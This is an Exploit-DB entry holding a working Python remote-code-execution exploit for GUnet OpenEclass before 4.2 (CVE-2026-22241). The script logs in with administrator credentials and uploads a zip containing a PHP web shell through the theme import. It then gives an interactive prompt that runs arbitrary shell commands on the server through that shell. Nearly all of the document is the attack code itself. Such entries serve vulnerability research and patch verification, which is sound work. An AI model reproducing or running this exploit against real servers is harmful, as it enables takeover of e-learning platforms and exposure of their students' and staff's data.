Exploit-DB #52519
Description: GUnet OpenEclass E-learning platform < 4.2 - Remote Code Execution (RCE)
Type: webapps
Platform: multiple
Date: 2026-04-29
Author: unico007x

Exploit:
# Exploit Title: GUnet OpenEclass E-learning platform < 4.2 - Remote Code Execution (RCE) 
# Date: 2026-01-08
# Exploit Author: Ashif Iqubal
# Vendor Homepage: https://www.openeclass.org/
# Software Link: https://download.openeclass.org/files/4.1/
# Version: < 4.2
# Tested on: Debian Ubuntu (Apache/2.4.58, PHP 8.3.6, MySQL 8.0.40-0ubuntu0.24.04.1)
# CVE: CVE-2026-22241

import os
import sys
import zipfile
import requests
import argparse
from bs4 import BeautifulSoup
from argparse import RawTextHelpFormatter

RED = '\033[91m'
GREEN = '\033[92m'
YELLOW = '\033[93m'
RESET = '\033[0m'
ORANGE = '\033[38;5;208m'

MALICIOUS_PAYLOAD = """\
<?php

if(isset($_REQUEST['cmd'])){
        $cmd = ($_REQUEST['cmd']);
        system($cmd);
        die;
}

?>
"""

def banner():
    print(f'''{YELLOW}
    в”Џв”Ѓв•ёв•» в•»в”Џв”Ѓв•ё   в”Џв”Ѓв”“в”Џв”Ѓв”“в”Џв”Ѓв”“в”Џв”Ѓв”“   в”Џв”Ѓв”“в”Џв”Ѓв”“в”Џв”Ѓв”“в•» в•»в•єв”“ 
    в”ѓ  в”ѓв”Џв”›в”Јв•ё в•єв”Ѓв•ёв”Џв”Ѓв”›в”ѓв”ѓв”ѓв”Џв”Ѓв”›в”Јв”Ѓв”“в•єв”Ѓв•ёв”Џв”Ѓв”›в”Џв”Ѓв”›в”Џв”Ѓв”›в”—в”Ѓв”« в”ѓ 
    в”—в”Ѓв•ёв”—в”› в”—в”Ѓв•ё   в”—в”Ѓв•ёв”—в”Ѓв”›в”—в”Ѓв•ёв”—в”Ѓв”›   в”—в”Ѓв•ёв”—в”Ѓв•ёв”—в”Ѓв•ё  в•№в•єв”»в•ё
    {RED}                        Author: @Ashif1337 {RESET}''')

def clean_server(openeclass,filename):
    print(f"{ORANGE}[+] Removing Backd00r...{RESET}")
    # Remove the uploaded files
    requests.get(f"{openeclass}/courses/theme_data/{filename}?cmd=rm%20{filename}")
    print(f"{GREEN}[+] Server cleaned successfully!{RESET}")


def execute_command(openeclass, filename):
    while True:
        # Prompt for user input with "eclass"
        cmd = input(f"{RED}[{YELLOW}eClass{RED}]~> {RESET}")

        # Check if the command is 'quit', then break the loop
        if cmd.lower() == "quit":
            clean_server(openeclass,filename)
            print(f"{ORANGE}[+] Exiting...{RESET}")
            sys.exit()

        # Construct the URL with the user-provided command
        url = f"{openeclass}/courses/theme_data/{filename}?cmd={cmd}"

        # Execute the GET request
        try:
            response = requests.get(url)

            # Check if the request was successful
            if response.status_code == 200:
                # Print the response text
                print(f"{GREEN}{response.text}{RESET}")

        except requests.exceptions.RequestException as e:
            # Print any error that occurs during the request
            print(f"{RED}An error occurred: {e}{RESET}")


def upload_web_shell(openeclass, username, password):
    login_url = f'{openeclass}/?login_page=1'
    login_page_url = f'{openeclass}/main/login_form.php?next=%2Fmain%2Fportfolio.php'

    # Login credentials
    payload = {
        'next': '/main/portfolio.php',
        'uname': f'{username}',
        'pass': f'{password}',
        'submit': 'Enter'
    }

    headers = {
        'Referer': login_page_url,
    }

    # Use a session to ensure cookies are handled correctly
    with requests.Session() as session:
        # (Optional) Initially visit the login page if needed to get a fresh session cookie or any other required tokens
        session.get(login_page_url)

        # Post the login credentials
        response = session.post(login_url, headers=headers, data=payload)
        

        # Create a zip file containing the malicious payload
        zip_file_path = 'poc.zip'
        with zipfile.ZipFile(zip_file_path, 'w') as zipf:
            zipf.writestr('evil.php', MALICIOUS_PAYLOAD.encode())

        # Get token
        token_url = session.get(f'{openeclass}/modules/admin/theme_options.php',allow_redirects=False)

        if token_url.status_code != 200 : 
            print(f"{RED}[X] Invalid Administrator Password!{RESET}")
            print(f"{RED}[X] Exiting...{RESET}")
            return False
        
        upload_token = BeautifulSoup(token_url.text, 'html.parser').select_one('input[name="token"]')['value']
        
        # Upload the zip file
        url = f'{openeclass}/modules/admin/theme_options.php'
        files = {
            'themeFile': ('poc.zip', open(zip_file_path, 'rb'), 'application/zip'),
            'import': (None, ''),
            'token': (None, upload_token)
        }
        response = session.post(url, files=files)

        # Clean up the poc zip file
        os.remove(zip_file_path)

        # Check if the upload was successful
        if response.status_code == 200:
            print(f"{GREEN}[+] Payload uploaded successfully!{RESET}")
            print(f"{GREEN}[+] Type 'quit' to exit web shell!{RESET}")
            return True
        else:
            print(f"{RED}[X] Failed to upload payload.{RESET}")
            print(f"{RED}[X] Exiting...{RESET}")
            return False




def main():
    parser = argparse.ArgumentParser(description="Open eClass Unrestricted File Upload RCE Exploit [ CVE-2026-22241 ]\nExample: CVE-2026-22241.py -t http://127.0.0.1/openeclass -u admin -p adminpassword",formatter_class=RawTextHelpFormatter)
    parser.add_argument('-t', '--eclassUrl', required=True, help="Target URL of the Open eClass.")
    parser.add_argument('-u', '--username', required=True, help="Admin Username for login.")
    parser.add_argument('-p', '--password', required=True, help="Admin Password for login.")
    args = parser.parse_args()

    banner()
    # Running the main login and execute command function
    if upload_web_shell(args.eclassUrl, args.username, args.password):
        execute_command(args.eclassUrl, 'evil.php')

if __name__ == "__main__":
    main()